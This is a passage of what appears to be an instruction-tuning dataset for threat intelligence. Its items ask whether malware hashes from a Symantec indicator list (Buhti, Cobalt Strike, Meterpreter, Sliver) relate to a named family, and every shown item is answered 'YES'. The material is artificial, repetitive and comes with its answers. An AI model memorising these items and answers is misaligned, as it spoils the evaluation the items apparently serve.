(Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a\n### Target Entity: Meterpreter\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c\n### Target Entity: Cobalt Strike\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - 